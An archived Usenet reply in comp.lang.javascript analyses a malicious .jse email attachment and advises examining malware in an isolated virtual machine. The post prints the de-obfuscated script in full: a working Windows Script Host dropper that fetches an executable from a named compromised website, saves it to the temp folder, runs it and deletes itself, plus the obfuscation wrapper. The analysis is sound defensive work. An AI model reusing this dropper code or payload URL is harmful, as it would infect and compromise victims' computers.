Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.javascript > #32910
| From | Stefan Weiss <krewecherl@gmail.com> |
|---|---|
| Newsgroups | comp.lang.javascript |
| Subject | Re: This is a VIRUS - how does it works? |
| Date | 2017-04-03 03:03 +0200 |
| Organization | albasani.net |
| Message-ID | <obs71f$d2k$1@news.albasani.net> (permalink) |
| References | <qtupdcda9p594dvj6aos78nhg4kp2b493f@4ax.com> <obpbrk$d0i$1@news.albasani.net> <fri2ecpnjnc6u3ofkhlav1pl5h5ndig6es@4ax.com> |
tom wrote:
> I'll spend few minutes for a manual search on the machine
> in the search of the 'bbb.png' file (and other suspicious stuff).
It won't be named bbb.png, the name should be "uoaeeefxoexf" + digits +
".exe", as mentioned elsewhere in this thread. But it's quite likely that
the malware would delete this file after it served its purpose.
> If you copy and paste the de-obfuscated code I'll have a look.
Sure, I'll add it after my reply. It's not very interesting, though; most of
the JS was nonsense, and what remains is a pretty straight-forward file
download.
> I'm also thinking to run the. jse file again,
> but this time monitoring what happens during its execution... ;
> I think I'll see if the 'Avast' or the 'Malwarebytes Anti-Malware' software
> (in their free version) could help me in this monitorizing task.
> I'm very, very, curious now...
I like curiosity :)
A simple way to examine malware safely is in a virtual machine, usually
without a network connection or connected to a dummy network, to prevent it
from spreading or causing other mischief. Create a VM with a clean Windows
install, make a snapshot, run the malware, make another snapshot, then
compare the two. There are plenty of tools for automatic malware analysis;
here's a list:
https://zeltser.com/automated-malware-analysis/
Good luck with your experiments.
- stefan
-----------------------------------------------------------------------
The first piece of code is what's left after all the cruft has been removed
from the obfuscated .jse file. The interesting part is stored in a string
variable, which I have named "code" below (all variables and functions have
been manually renamed by me). Every second letter in this string is noise
and must be removed before it can be evaluated.
The second part is the de-obfuscated contents of the "code" string. I have
decided to leave the URL to the malicious bbb.png intact, since it's trivial
to find files like this elsewhere. I've sent an email to the owner of the
website yesterday, but I'm not holding my breath... it seems to be a simple
restaurant website running Joomla as a CMS. They probably don't have anybody
available to take care of this issue.
-----------------------------------------------------------------------
// main code
if ((new ActiveXObject("WScript.shell"))
.Exec("ipconfig")
.StdOut
.ReadAll()
.match(/./))
{
var code = 'vvmahrc 0n8itcms4oqu8fhaaipemmjpcdniyxzlxf2o2i9aj [snip]';
// v a r n i c s o u f ...
var delEveryOther = function (str) {
str = str.split("");
for (var i = 0; i < str.length; i += 2) {
str[i] = "";
}
return str.join("");
};
(new Function("dummy", "return eval(arg)"))(delEveryOther(code));
}
-----------------------------------------------------------------------
// de-obfuscated content of the "code" variable
var urls = ["http://www.centrovetrine2.it/images/neutri/bbb.png"];
var wsShell = new ActiveXObject("WScript.Shell");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tempDir = fs.GetSpecialFolder(2);
function createExeName ()
{
return "/uoaeeefxoexf" + Math.round(Math.random() * 999999) + ".exe";
}
function executeFile (exePath)
{
wsShell.Run(exePath);
}
function storeFile (content, filePath)
{
stream.Open();
stream.Type = 1;
stream.Write(content);
stream.Position = 0;
stream.SaveToFile(filePath, 2);
stream.Close();
}
function deleteSelf ()
{
var thisScript = '';
try {
thisScript = WScript.ScriptFullName;
} catch (e) {
thisScript = window.location.pathname;
}
if (fs.FileExists(thisScript)) {
if (!thisScript.match(/temp/i)) {
try {
fs.DeleteFile(thisScript);
} catch (e) {}
}
}
}
var stream = new ActiveXObject("ADODB.Stream");
for (var i = 0; i < urls.length; i++) {
var exePath = tempDir + createExeName();
try {
xhr.Open("GET", urls[i], false);
xhr.Send();
if (xhr.Status == 200) {
storeFile(xhr.ResponseBody, exePath);
executeFile(exePath);
}
} catch (e) {}
}
deleteSelf();
Back to comp.lang.javascript | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:37 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 14:43 +0200
Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:32 +0200
Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-30 18:31 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-30 21:22 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-30 23:20 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:00 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-03-31 17:26 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 22:00 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-01 22:11 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:02 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-02 22:50 +0200
Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-03 23:18 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:22 +0200
Re: This is a VIRUS - how does it works? Tim Streater <timstreater@greenbee.net> - 2017-04-03 22:41 +0100
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:58 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:31 +0200
Re: This is a VIRUS - how does it works? Flippie Flink <flip@flink.not> - 2017-04-04 12:09 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-03-31 00:51 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-03-31 14:05 +0200
Re: This is a VIRUS - how does it works? Wally W. <ww84wa@aim.com> - 2017-03-31 11:54 -0400
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-01 21:56 +0200
Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 01:07 +0200
Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-02 14:31 +0200
Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-02 15:07 +0200
Re: This is a VIRUS - how does it works? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2017-04-14 22:10 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-02 21:45 +0200
Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-03 03:03 +0200
Re: This is a VIRUS - how does it works? a <a@inwind.it> - 2017-04-04 00:45 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:50 +0200
Re: This is a VIRUS - how does it works? Stefan Weiss <krewecherl@gmail.com> - 2017-04-04 02:51 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-06 23:54 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 09:03 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-07 23:05 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-07 23:48 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-08 14:09 +0200
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-08 14:32 +0200
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 14:31 -0700
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-03 23:34 +0200
Re: This is a VIRUS - how does it works? Andrew Poulos <ap_prog@hotmail.com> - 2017-04-04 11:35 +1000
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-04 09:36 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-04 00:59 +0200
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:08 -0700
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-03 16:17 -0700
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-05 13:58 -0700
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 12:59 -0700
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 00:13 +0200
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-04-19 16:59 -0700
Re: This is a VIRUS - how does it works? "Evertjan." <exxjxw.hannivoort@inter.nl.net> - 2017-04-20 08:49 +0200
Re: This is a VIRUS - how does it works? "Chris M. Thomasson" <invalid@invalid.invalid> - 2017-05-01 13:40 -0700
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 14:06 +0200
Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 13:59 +0000
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:23 +0200
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-12 22:28 +0200
Re: This is a VIRUS - how does it works? <cyber@2trom.com> - 2017-04-12 21:55 +0000
Re: This is a VIRUS - how does it works? "Michael Haufe (TNO)" <tno@thenewobjective.com> - 2017-04-14 12:34 -0700
Re: This is a VIRUS - how does it works? tom <tom@inwind.it> - 2017-04-14 22:42 +0200
csiph-web